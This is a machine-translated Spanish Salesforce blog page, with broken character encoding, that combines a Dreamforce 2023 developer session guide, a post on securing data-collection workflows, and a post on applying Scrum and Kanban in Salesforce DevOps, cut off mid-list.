Para conocer desarrolladores como Oleh y ampliar sus habilidades t茅cnicas, 煤nase a la comunidad de desarrolladores de Salesforce y sea parte de la conversaci贸n sobre todo lo relacionado con el desarrollo de Salesforce.

Sobre el Autor

Christie Fidura es la directora de Global Trailblazer Engagement. En este rol, busca involucrar y elevar a la comunidad y trabajar directamente con ellos para comprender sus desaf铆os, preocupaciones, logros e inspiraciones. Puede encontrar a Christie en la comunidad Trailblazer en https://trailblazer.me/id/christiefidura . Christie, community manager certificada y comercializadora ganadora de m煤ltiples premios, cree en la tecnolog铆a, la comunidad y la igualdad.

Obtenga las 煤ltimas publicaciones de blog y episodios de podcasts para desarrolladores de Salesforce a trav茅s de Slack o RSS.

A帽adir a holgura Suscr铆bete a RSS

Continue reading

La gu铆a para desarrolladores de Salesforce para Dreamforce 2023 鈽侊笍

La gu铆a para desarrolladores de Salesforce para Dreamforce 2023 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

La gu铆a del desarrollador de Salesforce para Dreamforce 2023 | Blog de desarrolladores de Salesforce

隆Llamando a todos los desarrolladores de Salesforce! 驴Est谩s listo para experimentar la magia de AI + Datos + CRM en Dreamforce 2023? Hemos preparado una experiencia repleta de tres d铆as como ninguna otra, as铆 que prep谩rate para aprender, conectarte, divertirte y retribuir rodeado de compa帽eros innovadores en la conferencia de tecnolog铆a m谩s grande del mundo.

Sabemos que est谩 contando ansiosamente los d铆as hasta que comience Dreamforce, as铆 que siga leyendo para comenzar a planificar su experiencia Dreamforce perfecta, desde conferencias magistrales hasta sesiones en Developer Track y demostraciones pr谩cticas en acci贸n en Developer Grove.

Vea la 煤ltima tecnolog铆a en la conferencia magistral sobre el futuro del desarrollo

AI + Data + CRM est谩n cambiando r谩pidamente el futuro de los negocios y los desarrolladores est谩n a la vanguardia. 脷nase al presidente y director de ingenier铆a, Srini Tallapragada, y a invitados especiales para aprender todo sobre el futuro del desarrollo y c贸mo puede aprovechar la IA en su trabajo.

Si asistir谩 a Dreamforce en persona, aseg煤rese de agregar la conferencia magistral a su agenda . Si lo seguir谩 desde casa, vea la conferencia magistral completa mientras se transmite en vivo en Salesforce+ .

馃搮 Marque sus calendarios: jueves 14 de septiembre, de 1:30 a 2:20 p. m., hora del Pac铆fico
馃帳 Oradores destacados: Srini Tallapragada, Alba Rivas, Adam White, Kat Holmes, Chris Peterson, Avanthika Ramesh
A帽adir a tu agenda

Descubra los aspectos m谩s destacados de la versi贸n para desarrolladores en Developer Preview Live

Eche un primer vistazo a las principales funciones, herramientas e innovaciones para desarrolladores de la versi贸n Winter '24. Vea demostraciones en vivo de interesantes innovaciones de productos y haga preguntas a nuestros expertos en productos. Hay tantas innovaciones nuevas para los desarrolladores en esta versi贸n que 隆no querr谩s perderte esto!

馃搮 Marque sus calendarios: jueves 14 de septiembre, de 2:30 a 3:30 p. m., hora del Pac铆fico
馃帳 Oradores destacados: Aditya Naag Topalli, Mohith Shrivastava, Ewald Hofman, Danielle Larregui, Greg Whitworth, Akshata Sawant, Sarah Welker
A帽adir a tu agenda

Mejora tus habilidades en la ruta de desarrollador

Developer Track ofrece una combinaci贸n de sesiones de teatro de 20 minutos en Developer Theatre y sesiones de trabajo de 40 minutos. Espere asimilar las mejores pr谩cticas, consejos y mucha inspiraci贸n. 隆Y hay algo para todos, sin importar los temas que te apasionen! Tenemos sesiones para todos los niveles (principiante, intermedio, avanzado) en todas las funciones y temas: IA generativa, nube de datos, DevOps Center, MuleSoft, Code Builder, Apex, AppExchange, Lightning Web Components, Slack, seguridad, accesibilidad y m谩s.

馃搷 Las sesiones de calentamiento se ubicar谩n en todo Trailblazer Forest: en Developer Theatre junto a Developer Grove, Redwood Theatre, Einstein Theatre, Data Cloud Theatre y Olympic Theatre. Las sesiones de trabajo de Developer Track se llevar谩n a cabo en el segundo y tercer piso de Moscone West. Aseg煤rese de consultar su agenda para conocer la ubicaci贸n exacta de las habitaciones.

Para encontrar estas sesiones en el cat谩logo de sesiones de Dreamforce , seleccione Funci贸n en la navegaci贸n izquierda y marque Desarrollador para ver todas las sesiones etiquetadas para desarrolladores.

Algunas sesiones imperdibles para agregar a tu agenda 鉁忥笍

Descubra el poder de Einstein GPT para desarrolladores
Qu茅 esperar: La IA generativa ha arrasado en el mundo de la tecnolog铆a. Conozca las capacidades m谩s recientes de Einstein GPT y c贸mo los desarrolladores pueden utilizar la tecnolog铆a para crear sus propias aplicaciones impulsadas por IA en Salesforce.
Oradores destacados: Stephan Chandler-Garc铆a, Ananya Jha
A帽ade esta sesi贸n a tu agenda

Comprensi贸n de la nube de datos para desarrolladores de Salesforce
Qu茅 esperar: aprenda qu茅 significa Data Cloud para los desarrolladores, c贸mo se exponen sus artefactos como metadatos de plataforma familiares y c贸mo ingerir e interactuar con sus datos mediante SQL, Apex, Flows, API y SDK.
Oradores destacados: Aditya Naag Topalli, Danielle Larregui
A帽ade esta sesi贸n a tu agenda

驴Quieres un mejor c贸digo? Einstein GPT y Code Analyzer pueden ayudar
Qu茅 esperar: Impulse el desarrollo de Salesforce con el d煤o din谩mico de Einstein GPT para desarrolladores y Code Analyzer. Aprenda c贸mo optimizar la generaci贸n y validaci贸n de c贸digo directamente desde las experiencias IDE.
Oradores destacados: Gordon Bockus, Vivek Chawla
A帽ade esta sesi贸n a tu agenda

Componentes web Lightning: novedades y novedades
Qu茅 esperar: aprenda c贸mo puede utilizar Lightning Web Components para hacer que el desarrollo en Salesforce sea m谩s f谩cil y eficiente. Vea las 煤ltimas funciones disponibles para LWC y lo que se avecina en la hoja de ruta.
Oradores destacados: Alicia Teo, Alice Oh, Leo Balter
A帽ade esta sesi贸n a tu agenda

Hoja de ruta de Apex: novedades y novedades
Qu茅 esperar: Los gerentes de producto de Salesforce profundizar谩n en las funciones lanzadas recientemente y en el futuro en la hoja de ruta de Apex, incluido Einstein GPT para desarrolladores.
Oradores destacados: Daniel Ballinger, Chris Peterson
A帽ade esta sesi贸n a tu agenda

Aumente la productividad de los desarrolladores con GraphQL e IA generativa
Qu茅 esperar: Sum茅rgete en la nueva API GraphQL, donde las consultas y mutaciones se pueden combinar en una sola solicitud, ganando rendimiento y flexibilidad. Eche un vistazo a c贸mo redactar consultas con IA generativa.
Oradores destacados: Juli谩n Duque, Ben Sklar
A帽ade esta sesi贸n a tu agenda

Desarrollar componentes web Lightning para dispositivos m贸viles sin conexi贸n
Qu茅 esperar: 驴 Usuarios m贸viles sin conexi贸n? Aprenda c贸mo habilitarlos con componentes web Lightning personalizados para mostrar e incluso actualizar registros mientras un dispositivo m贸vil est谩 desconectado de Internet.
Oradora destacada: Angela Le
A帽ade esta sesi贸n a tu agenda

Gestionar dependencias y conflictos en el Centro DevOps
Qu茅 esperar: profundice en c贸mo los desarrolladores utilizan DevOps Center para gestionar el ciclo de vida del desarrollo de software. Comience con DevOps Center y aprenda a solucionar los problemas m谩s comunes, como la resoluci贸n de conflictos.
Oradores destacados: Gilson Canario, Francisco Sammartino
A帽ade esta sesi贸n a tu agenda

Cinco cosas que los desarrolladores de Salesforce deben saber sobre MuleSoft
Qu茅 esperar: 脷nase a esta sesi贸n para conocer los conceptos clave de MuleSoft que necesita saber como desarrollador de Salesforce. Nos centraremos en las mejores pr谩cticas, consejos y trucos, antipatrones y m谩s con ejemplos en vivo.
Oradores destacados: Gaurav Kheterpal, Akshata Sawant
A帽ade esta sesi贸n a tu agenda

Pon a prueba tus habilidades en Developer Grove

Developer Grove, ubicado en Trailhead Forest, es el hogar de los desarrolladores durante Dreamforce y el lugar para comenzar su viaje de aprendizaje de tres d铆as .

Nuestra principal atracci贸n este a帽o es una competencia estilo arcade que pone a prueba tus habilidades de ingenier铆a en IA. 隆Completa tantos desaf铆os como puedas en el menor tiempo posible para que tu nombre aparezca en la tabla de clasificaci贸n y puedas presumir de ello!

Visite la estaci贸n de demostraci贸n que cubre nuestras aplicaciones de muestra y recetas de c贸digo, y descubra c贸mo puede utilizarlas en su propio trabajo. Cada estaci贸n contar谩 con empleados de Salesforce que saben lo que hacen y les encanta ayudar a otros a aprender.

鉂桸ovedad de este a帽o: Estaci贸n de consultas 1:1 en Developer Grove. Los desarrolladores de Salesforce pueden registrarse para una consulta individual de 20 minutos con profesionales expertos de Salesforce. Para reservar una consulta individual, visite esta p谩gina y seleccione el tema "Desarrollador de Salesforce". Cuando haya terminado de registrarse, se le enviar谩 una confirmaci贸n por correo electr贸nico y estar谩 disponible en la aplicaci贸n Salesforce Events; desc谩rguela ahora en App Store o Google Play Store .

Otras cosas a tener en cuenta 馃憖

Conferencia principal de Dreamforce

脷nase al director ejecutivo de Salesforce, Marc Benioff, junto con invitados especiales en el discurso principal de Dreamforce para escuchar todo sobre nuestras innovaciones m谩s recientes.

馃搮 Marque sus calendarios: martes 12 de septiembre, de 10 a. m. a 12 p. m., hora del Pac铆fico
A帽ade la keynote a tu agenda

Fiel al foro principal de clientes

脷nase al cofundador y director de tecnolog铆a Parker Harris en el foro anual de clientes True to the Core. Escuche a los l铆deres de productos compartir los aspectos m谩s destacados de nuestra hoja de ruta de productos. Si nunca ha asistido, esta es una excelente sesi贸n para que los desarrolladores pregunten y escuchen las respuestas de nuestros gerentes de producto. 隆Una cosa que seguir谩 siendo 鈥渃entral鈥 en True to the Core es que habr谩 muchas preguntas!

馃搮 Marque sus calendarios: jueves 14 de septiembre, de 11:30 a. m. a 12:30 p. m., hora del Pac铆fico
A帽ade esta sesi贸n a tu agenda

Conferencia magistral de TI: cree su cliente 360 con IA confiable

Aprenda c贸mo resolver sus desaf铆os de TI m谩s dif铆ciles con IA + Datos + CRM. Escuche c贸mo los pioneros utilizan las 煤ltimas innovaciones de plataforma, nube de datos y MuleSoft para crear entornos de TI de pr贸xima generaci贸n, con potentes capacidades de IA generativa integradas.

馃搮 Marque sus calendarios: martes 12 de septiembre, de 2:30 a 3:20 p. m., hora del Pac铆fico
A帽ade esta sesi贸n a tu agenda

Celebraci贸n pionera de la noche 1

Recuperaremos la diversi贸n la primera noche de Dreamforce. 脷nase a nosotros en Trailblazer Forest de 5 a 6:30 p. m. el martes 12 de septiembre en Admin Meadow, Developer Grove y Community Cove para actividades sociales, comidas ligeras y bebidas.

Pistas de administrador y arquitecto

驴Busca diversificar su agenda en Dreamforce este a帽o? Consulte todas las sesiones de c贸digo y de c贸digo bajo en la secci贸n de administraci贸n y en la secci贸n de arquitecto . Para obtener m谩s informaci贸n sobre cada uno, lea la Gu铆a del administrador de Dreamforce 2023 .

Obtenga a煤n m谩s contenido de Dreamforce 2023 en Salesforce+

驴No puedes asistir a Dreamforce en persona? Durante los tres d铆as, las conferencias magistrales y las sesiones seleccionadas se transmitir谩n en vivo en Salesforce+. Habr谩 dos canales y 72 horas de transmisi贸n en vivo. Adem谩s de la experiencia en vivo, m谩s de 120 episodios bajo demanda estar谩n disponibles para verlos despu茅s de que finalice Dreamforce en cualquier momento y lugar.

Reg铆strese en Salesforce+ ahora para obtener acceso a todo el contenido exclusivo.

Empieza ahora

隆Dreamforce 2023 estar谩 aqu铆 antes de que te des cuenta! Siga estos pasos para prepararse:

  1. Reg铆strese para asistir a Dreamforce si a煤n no lo ha hecho.
  2. Agregue el discurso de apertura sobre el futuro del desarrollo y la vista previa de la versi贸n para desarrolladores a su agenda.
  3. Complete Road to Dreamforce 2023 Trailhead Quest antes de las 11:59 p. m. (hora del Pac铆fico) del 11 de septiembre de 2023 para desbloquear una insignia comunitaria exclusiva y participar para tener la oportunidad de ganar* una de las 25 codiciadas sudaderas con capucha Trailblazer o una de las 50 camisetas Dreamforce.* Se aplican las reglas oficiales . Consulte la p谩gina Trailhead Quests para obtener todos los detalles.
  4. Descargue la aplicaci贸n Salesforce Events en App Store o Google Play Store para realizar un seguimiento de todo lo que hay en su agenda en un lugar de f谩cil acceso.
  5. Con茅ctese con sus pares en el grupo comunitario Salesforce Developers Trailblazer.
  6. Si no asiste en persona, aseg煤rese de registrarse para la experiencia Salesforce+.
  7. Seguir @salesforcedevs en Twitter y LinkedIn para obtener m谩s actualizaciones.

Sobre el Autor

Kaitlin Benz es especialista s茅nior en marketing de desarrolladores en Salesforce. Lo que m谩s le apasiona es la narraci贸n de historias, los podcasts y la comida vegana. Encu茅ntrala en LinkedIn .

Obtenga las 煤ltimas publicaciones de blog y episodios de podcasts para desarrolladores de Salesforce a trav茅s de Slack o RSS.

A帽adir a holgura Suscr铆bete a RSS

Continue reading

C贸mo mantener la seguridad en los flujos de trabajo de recopilaci贸n de datos de Salesforce

C贸mo mantener la seguridad en los flujos de trabajo de recopilaci贸n de datos de Salesforce

脷ltima actualizaci贸n el 18 de agosto de 2023 por Rakesh Gupta

La seguridad de los datos debe ser una de sus principales prioridades si recopila, almacena y administra informaci贸n personal. La protecci贸n de datos es especialmente importante si sus flujos de trabajo de recopilaci贸n de datos de Salesforce se integran con varias herramientas, como un generador de formularios web o un sistema de pago.

Muchas regiones e industrias tienen leyes estrictas de privacidad de datos, que incluyen GDPR, GLBA, HIPAA y otras, que rigen la forma en que las organizaciones manejan los datos. Puede garantizar la seguridad y el cumplimiento de los datos a lo largo de sus flujos de trabajo de recopilaci贸n de datos de Salesforce de varias maneras, incluido el enmascaramiento y el cifrado de datos, el control y los permisos de acceso, y el monitoreo regular.

Comprender la importancia de mantener los datos seguros

Los datos confidenciales son todos los datos que se pueden usar para identificar a una persona o da帽arlos si se pierden o son robados. Los tipos de datos confidenciales incluyen:

  • Informaci贸n de identificaci贸n personal
  • informaci贸n de salud protegida
  • Registros financieros o educativos
  • Datos 茅tnicos, pol铆ticos y biom茅tricos

Mantener la seguridad de los datos personales ayuda a generar confianza con las personas que comparten su informaci贸n personal con usted. Tambi茅n garantiza que su organizaci贸n evite sanciones por incumplimiento de las leyes de privacidad de datos.

Pr谩cticas recomendadas de seguridad al recopilar datos

Su organizaci贸n es responsable de asegurarse de que las herramientas de recopilaci贸n de datos que utiliza tengan implementadas las medidas de seguridad adecuadas. Podr谩 proteger mejor los datos confidenciales desde el momento en que se recopilan, a medida que se mueven a trav茅s de sus flujos de trabajo y cuando se trasladan a Salesforce.

Enmascarar campos sensibles

El enmascaramiento de campo ayuda a garantizar que los datos confidenciales se mantengan confidenciales y no se expongan innecesariamente a usuarios no autorizados.

Cifrar datos

El cifrado de datos ayuda a proteger los datos confidenciales contra el acceso, uso o robo no autorizados, ya sea que estos datos est茅n en reposo o en tr谩nsito.

Limite el acceso a los datos

La implementaci贸n de control de acceso y permisos garantiza que solo los usuarios autorizados puedan acceder o modificar los datos.

Supervisar y auditar flujos de trabajo

La vigilancia constante ayuda a garantizar que los flujos de trabajo de recopilaci贸n de datos mantengan el nivel adecuado de seguridad para mantener seguros los datos confidenciales.

2 formas de mejorar la seguridad en los flujos de trabajo de recopilaci贸n de datos de Salesforce

Un flujo de trabajo de recopilaci贸n de datos de varios pasos tendr谩 diferentes puntos de entrada con posibles riesgos de seguridad, como formularios, correos electr贸nicos y cargas de archivos. Es importante que en cada paso de sus procesos de datos, tenga medidas de seguridad para garantizar que personas no autorizadas no accedan a datos o archivos.

Aseg煤rese tambi茅n de probar continuamente sus flujos de trabajo de recopilaci贸n de datos de Salesforce en busca de vulnerabilidades de seguridad. La detecci贸n temprana de amenazas disminuir谩 la posibilidad de una violaci贸n de datos u otras consecuencias graves.

Implementar reglas de retenci贸n de datos

La creaci贸n de una pol铆tica clara de retenci贸n de datos es fundamental para definir c贸mo su organizaci贸n maneja los datos con fines de cumplimiento. Es importante establecer reglas sobre qu茅 datos deben conservarse y durante cu谩nto tiempo, as铆 como reglas sobre qui茅n tiene acceso y c贸mo deshacerse de los datos correctamente una vez que ya no se necesitan.

Acceso a los datos

Establecer reglas de acceso a datos como parte de su pol铆tica de retenci贸n de datos garantizar谩 que solo los usuarios autorizados en un flujo de trabajo tengan acceso a datos confidenciales. Los controles administrativos tambi茅n pueden incluir el requisito de que los usuarios inicien sesi贸n para ver o modificar las listas de respuestas del flujo de trabajo.

Purga de datos

Dentro de su flujo de trabajo, la configuraci贸n de reglas de depuraci贸n de datos puede garantizar que los datos de respuesta se eliminen de forma permanente una vez que ya no los utilice. Personalice esta configuraci贸n de depuraci贸n de datos, como la frecuencia con la que se completa una depuraci贸n, seg煤n sus requisitos de retenci贸n de datos.

Aproveche las aprobaciones del flujo de trabajo

Establecer pasos de aprobaci贸n dentro de los flujos de trabajo es importante para garantizar la responsabilidad durante el proceso de recopilaci贸n de datos. Los pasos de aprobaci贸n dentro de un flujo de trabajo significan que ning煤n usuario tiene control total sobre los cambios o decisiones de datos, lo que ayuda a mejorar la seguridad y la confidencialidad.

Detecci贸n de errores

Los pasos de aprobaci贸n en un flujo de trabajo proporcionan un proceso de revisi贸n de datos est谩ndar antes de que los datos se acepten o utilicen oficialmente. Esto ayuda a reducir las incoherencias y los errores, as铆 como a garantizar el cumplimiento de las normas de privacidad de datos pertinentes.

Pista de auditor铆a

Los registros de auditor铆a para las aprobaciones de flujos de trabajo simplifican el proceso al registrar cada paso de aprobaci贸n y crear un registro hist贸rico de los cambios realizados en los datos. Tambi茅n se pueden utilizar durante las investigaciones en caso de brechas de seguridad o problemas de datos.

Simplificaci贸n de los flujos de trabajo de recopilaci贸n de datos de Salesforce con FormAssembly

Cuando se trata de proteger los flujos de trabajo de datos, es fundamental contar con pol铆ticas de privacidad y seguridad de datos. Su organizaci贸n puede beneficiarse del uso de una 煤nica plataforma de flujo de trabajo y recopilaci贸n de datos como FormAssembly, que facilita la centralizaci贸n de la protecci贸n contra amenazas y garantiza el cumplimiento. Este enfoque le permite escalar m谩s f谩cilmente, auditar los flujos de datos de forma centralizada y aumentar la eficiencia, al mismo tiempo que maximiza la seguridad en todos sus flujos de trabajo de recopilaci贸n de datos de Salesforce.

La potente plataforma conectada a Salesforce de FormAssembly combina la recopilaci贸n de datos segura y compatible con un generador de procesos visual e inteligente que le permite crear procesos complejos que incluyen formularios, correos electr贸nicos, integraciones y m谩s, todo sin c贸digo.

Descubra c贸mo FormAssembly puede ayudarlo a optimizar sus flujos de trabajo de recopilaci贸n de datos de Salesforce mientras mantiene seguros los datos confidenciales.

馃憠 M谩s informaci贸n sobre el flujo de trabajo de FormAssembly

Evaluaci贸n formativa:

隆Quiero saber de ti!

驴Qu茅 es una cosa que aprendiste de esta publicaci贸n? 驴C贸mo imagina aplicar este nuevo conocimiento en el mundo real? Si茅ntase libre de compartir en los comentarios a continuaci贸n.

Continue reading

Incorporaci贸n de Agile en Salesforce DevOps – Inspire Planner

Incorporaci贸n de Agile en Salesforce DevOps - Inspire Planner

La r谩pida era digital exige que las empresas entreguen valor de manera r谩pida y eficiente. Sin embargo, los equipos dispersos geogr谩ficamente y las operaciones de desarrollo complejas, particularmente en Salesforce DevOps, a menudo pueden dar lugar a plazos incumplidos, equipos tensos y flujos de trabajo inconexos. Ah铆 es donde entra en juego Agile en Salesforce DevOps.

La gesti贸n 谩gil de proyectos ofrece una soluci贸n que incorpora las metodolog铆as Scrum y Kanban para permitir una adaptaci贸n r谩pida, una colaboraci贸n mejorada y una entrega continua de software de alta calidad, lo que ayuda a las empresas a mantenerse competitivas y cumplir con las expectativas de los clientes.

En una encuesta realizada por KPMG, el 84% de los participantes informaron que su organizaci贸n utiliza metodolog铆as Scrum o Kanban. Entonces, la pregunta es, 驴y t煤?

Comprensi贸n de Agile en Salesforce DevOps: Scrum y Kanban

Tabla de contenido

Las metodolog铆as 谩giles son estrategias flexibles que facilitan una gesti贸n de proyectos 谩gil y eficiente en el desarrollo de software. Se basan en los principios de:

  • Transparencia : este principio garantiza que todos los aspectos del proyecto sean visibles para todos los responsables del resultado. Esto incluye informaci贸n sobre los objetivos, el progreso y el proceso del proyecto.
  • Inspecci贸n : los miembros del equipo y las partes interesadas inspeccionan con frecuencia el progreso y el trabajo hacia la meta del proyecto para detectar variaciones no deseadas.
  • Adaptaci贸n : si el equipo identifica discrepancias significativas durante una inspecci贸n, debe ajustar su proceso o los materiales en los que se est谩 trabajando.

Mel茅

Scrum est谩 dise帽ado para equipos compuestos por diez miembros o menos. Este enfoque implica dividir el trabajo en objetivos que deben cumplirse dentro de per铆odos espec铆ficos conocidos como sprints. Un Sprint es un per铆odo de tiempo dentro del cual se crea un incremento de producto "Terminado", utilizable y potencialmente liberable.

Por lo general, cada sprint dura hasta un mes, pero la duraci贸n m谩s com煤n es de dos semanas. El equipo eval煤a su progreso en reuniones diarias de scrum, que son debates r谩pidos que no superan los 15 minutos.

Al finalizar un sprint, se llevan a cabo dos reuniones adicionales: una revisi贸n del sprint para mostrar el trabajo a las partes interesadas y recopilar sus comentarios, y una retrospectiva del sprint que permite al equipo reflexionar e identificar 谩reas de mejora.

Gesti贸n de proyectos Scrum en Inspire Planner, la aplicaci贸n de gesti贸n de proyectos nativa de Salesforce
Creaci贸n de un Sprint en Inspire Planner, una aplicaci贸n de gesti贸n de proyectos nativa de Salesforce

Kanban

Kanban es un sistema visual que ayuda a administrar el trabajo, identificar cuellos de botella y garantizar un flujo de trabajo eficiente y rentable.

Kanban sigue cuatro principios:

  • Visualice el flujo de trabajo : un modelo visual del trabajo permite a los miembros observar el flujo de trabajo que se mueve a trav茅s del sistema y responder r谩pidamente a los bloqueos.
  • Limite el trabajo en progreso (WIP) : al limitar la cantidad de trabajo sin terminar que est谩 en proceso, los equipos pueden reducir el tiempo que tarda un elemento en viajar a trav茅s del sistema Kanban.
  • Gestionar Flujo : La gesti贸n de elementos de trabajo debe ser continua y enfocada a lograr un flujo fluido, con tiempos de finalizaci贸n r谩pidos y trabajo de calidad.
  • Mejora continua : los equipos deben analizar continuamente su flujo de trabajo y hacer los ajustes necesarios para mejorar el rendimiento y la eficiencia.
Tablero Kanban en Inspire Planner, aplicaci贸n de gesti贸n de proyectos nativa de SalesforceTablero Kanban en Inspire Planner, aplicaci贸n de gesti贸n de proyectos nativa de Salesforce
Tablero Kanban en Inspire Planner, una herramienta de gesti贸n de proyectos nativa de Salesforce

An谩lisis comparativo de Scrum y Kanban

El siguiente an谩lisis le brinda una breve descripci贸n general de qu茅 marco podr铆a usar en su organizaci贸n.

Mel茅 Kanban
Flujo de rutina frente a flujo continuo Scrum se basa en iteraciones de tiempo limitado llamadas Sprints, generalmente de 1 a 4 semanas de duraci贸n. Se enfoca en el flujo continuo y no tiene plazos espec铆ficos.
roles Ayuda a los equipos a administrar proyectos complejos dividi茅ndolos en "sprints" manejables y con l铆mites de tiempo con revisiones peri贸dicas y retrospectivas Mejora la transparencia y la eficiencia del flujo de trabajo al visualizar las tareas y limitar el trabajo en curso
Filosof铆a del cambio Scrum desalienta los cambios dentro de un sprint. Permite realizar cambios en cualquier momento
Alcance del Trabajo Funciona mejor con proyectos complejos con elementos interdependientes que requieren colaboraci贸n. Funciona bien para tareas en curso y actividades de mantenimiento.

Fortalezas y limitaciones de Agile en Salesforce DevOps: Scrum vs Kanban

Por supuesto, antes de decidir qu茅 marco usar para Agile en Salesforce DevOps, es esencial observar sus fortalezas y limitaciones:

Mel茅 Kanban
Fortalezas + Adecuado para proyectos complejos donde se necesita una estrecha colaboraci贸n y una respuesta r谩pida.
+ Funciones y responsabilidades bien definidas mejoran la rendici贸n de cuentas.
+ Las revisiones peri贸dicas y las retrospectivas fomentan la mejora continua.
+ Excelente visualizaci贸n del trabajo en curso.
+ Flexibilidad para manejar cambios o nuevas tareas.
+ Ideal para flujos de trabajo continuos e ininterrumpidos.
Limitaciones 鈥 Las iteraciones fijas pueden generar ineficiencias si no se completa todo el trabajo dentro del sprint.
鈥 No es tan flexible para cambiar a mitad del sprint.
鈥 Requiere un alto nivel de disciplina y comprensi贸n de los principios de Scrum.
鈥 Puede que no sea tan efectivo para tareas complejas e interdependientes.
鈥 Sin disciplina, los l铆mites WIP pueden ignorarse, lo que genera cuellos de botella.
鈥 La falta de limitaciones de tiempo puede dar lugar a retrasos y falta de urgencia.

El papel de Scrum en Salesforce DevOps

Salesforce es una plataforma altamente personalizable que requiere actualizaciones y mejoras frecuentes para satisfacer las necesidades din谩micas de las empresas. Aqu铆 es donde Scrum puede traer ventajas significativas.

  • Desarrollo iterativo : el enfoque iterativo de Scrum se alinea bien con el desarrollo de Salesforce. Permite lanzamientos menores e incrementales con cada sprint, lo que permite a los equipos responder m谩s r谩pidamente a los requisitos y cambios comerciales.
  • Claridad de funciones : las funciones definidas en Scrum (Propietario del producto, Scrum Master y Equipo de desarrollo) brindan responsabilidades y responsabilidades claras, fomentando un entorno de trabajo en equipo s贸lido y una comunicaci贸n efectiva, que son fundamentales en los proyectos de Salesforce.
  • Comentarios y mejoras continuas : con las revisiones y retrospectivas peri贸dicas de Scrum, el equipo puede aprender y adaptarse continuamente a las necesidades cambiantes. Esta agilidad es especialmente beneficiosa dados los frecuentes lanzamientos y actualizaciones de Salesforce.
  • Mitigaci贸n de riesgos : los sprints breves y delimitados en el tiempo permiten la identificaci贸n y resoluci贸n temprana de problemas o riesgos, lo que reduce las posibilidades de fracaso del proyecto. Para obtener m谩s detalles sobre este tema, consulte nuestro art铆culo sobre c贸mo reducir los riesgos y problemas imprevistos del proyecto.

Beneficios de usar Scrum y Agile en Salesforce DevOps

Mejorar la colaboraci贸n, la flexibilidad y la productividad en Salesforce DevOps con Scrum es una excelente manera de garantizar que los proyectos se entreguen con 茅xito y a tiempo. Este es el por qu茅:

  • Colaboraci贸n : Scrum fomenta un entorno altamente colaborativo. Las reuniones diarias de Scrum mantienen a todos alineados sobre el estado y los desaf铆os del proyecto, lo que promueve una resoluci贸n de problemas m谩s efectiva. Adem谩s, la comprensi贸n compartida y la comunicaci贸n frecuente reducen los malentendidos y la repetici贸n del trabajo.
  • Flexibilidad : la naturaleza iterativa de Scrum permite que los cambios se incorporen f谩cilmente en el pr贸ximo sprint. Esto es particularmente beneficioso en Salesforce DevOps, donde los cambios son frecuentes debido a nuevos requisitos comerciales, comentarios de clientes o actualizaciones de Salesforce.
  • Productividad : al dividir el proyecto en unidades manejables (sprints), los equipos pueden enfocarse mejor y producir un trabajo de alta calidad, mejorando la productividad. Adem谩s, la visibilidad de la capacidad del equipo evita la sobrecarga y fomenta un ritmo sostenible, lo que contribuye a elevar la moral y mejorar a煤n m谩s la productividad.

    Los equipos que implementan efectivamente las metodolog铆as Scrum pueden presenciar un aumento de la productividad que oscila entre el 300 % y el 400 %.

  • Satisfacci贸n del cliente : Scrum se enfoca en brindar valor con cada sprint, lo que lleva a resultados frecuentes y tangibles. Esta entrega constante de caracter铆sticas valiosas puede aumentar la satisfacci贸n del cliente mediante el uso de Agile en Salesforce DevOps.

    Cuando MediaMarkt, el minorista de electr贸nica de consumo l铆der en Europa, se expandi贸 a China en 2010, desarroll贸 r谩pidamente una innovadora suite de planificaci贸n de recursos empresariales (ERP) en un a帽o. Gracias a la metodolog铆a Scrum y un equipo colaborativo, implementaron m煤ltiples aplicaciones est谩ndar, lo que facilit贸 el lanzamiento de nuevas tiendas en Asia y prepar贸 un crecimiento sustancial en China.

Aprovechamiento de Kanban para Salesforce DevOps

Kanban es una metodolog铆a Agile robusta que mejora la visibilidad y la eficiencia en los entornos de Salesforce DevOps. As铆 es c贸mo:

  • Visibilidad : Kanban utiliza un tablero visual (tablero Kanban) para representar el flujo de trabajo. Cada tarea o historia de usuario se representa como una tarjeta en este tablero, movi茅ndose de una columna a otra a medida que avanza. El uso de tableros Kanban para administrar el flujo de trabajo ha experimentado un aumento constante, con el 61 % de los encuestados us谩ndolos ahora, un aumento sustancial del 6 % inicial informado en la primera encuesta.
  • Eficiencia : al establecer l铆mites de trabajo en curso (WIP), Kanban evita que los miembros del equipo se sientan abrumados con demasiadas tareas. Esto conduce a un mejor enfoque y una finalizaci贸n m谩s r谩pida de las tareas. Cuando se identifica un cuello de botella (por ejemplo, demasiadas tareas en una columna en particular), se aborda de inmediato para mantener el flujo de trabajo de manera eficiente.
  • Entrega continua : en un entorno de Salesforce DevOps, a menudo existe la necesidad de entrega, mantenimiento o soporte continuos. Kanban respalda esto al promover un flujo continuo de trabajo en lugar de trabajar en iteraciones o sprints de longitud fija.

    Siemens Health Services quer铆a aumentar la velocidad y la calidad de la entrega de software. A pesar de los contratiempos iniciales con sus m茅todos 谩giles, el cambio hacia el pensamiento Lean y la adopci贸n de Kanban mejoraron dr谩sticamente la transparencia de sus procesos, aumentaron la calidad del trabajo, redujeron las tasas de defectos y, en 煤ltima instancia, impulsaron el compromiso del equipo, lo que hizo que sus productos fueran m谩s competitivos en un mercado exigente.

  • Flexibilidad : Kanban permite agregar nuevas tareas a la cartera de pedidos en cualquier momento, siempre que se respeten los l铆mites WIP. Esto es particularmente beneficioso en un entorno de Salesforce DevOps donde existe la necesidad de reaccionar r谩pidamente ante nuevos problemas o cambios.

Pasos para integrar la metodolog铆a Kanban en proyectos de Salesforce

Estos son los pasos pr谩cticos necesarios para integrar de manera efectiva la metodolog铆a Kanban en sus proyectos de Salesforce para mejorar la visibilidad y la eficiencia:

  • Defina las etapas del flujo de trabajo : divida su flujo de trabajo en distintas etapas. Algunas de las etapas t铆picas incluyen Backlog, En desarrollo, UAT y Completado, pero se pueden ajustar seg煤n las necesidades espec铆ficas de su proyecto.
  • Cree un tablero Kanban : use una herramienta de gesti贸n de proyectos f铆sica o digital como Inspire Planner para crear su tablero Kanban. Representa cada etapa del flujo de trabajo como una columna en el tablero.
  • Cree tarjetas para tareas : escriba cada tarea o historia de usuario en una tarjeta separada y coloque estas tarjetas en la columna correspondiente en el tablero Kanban.
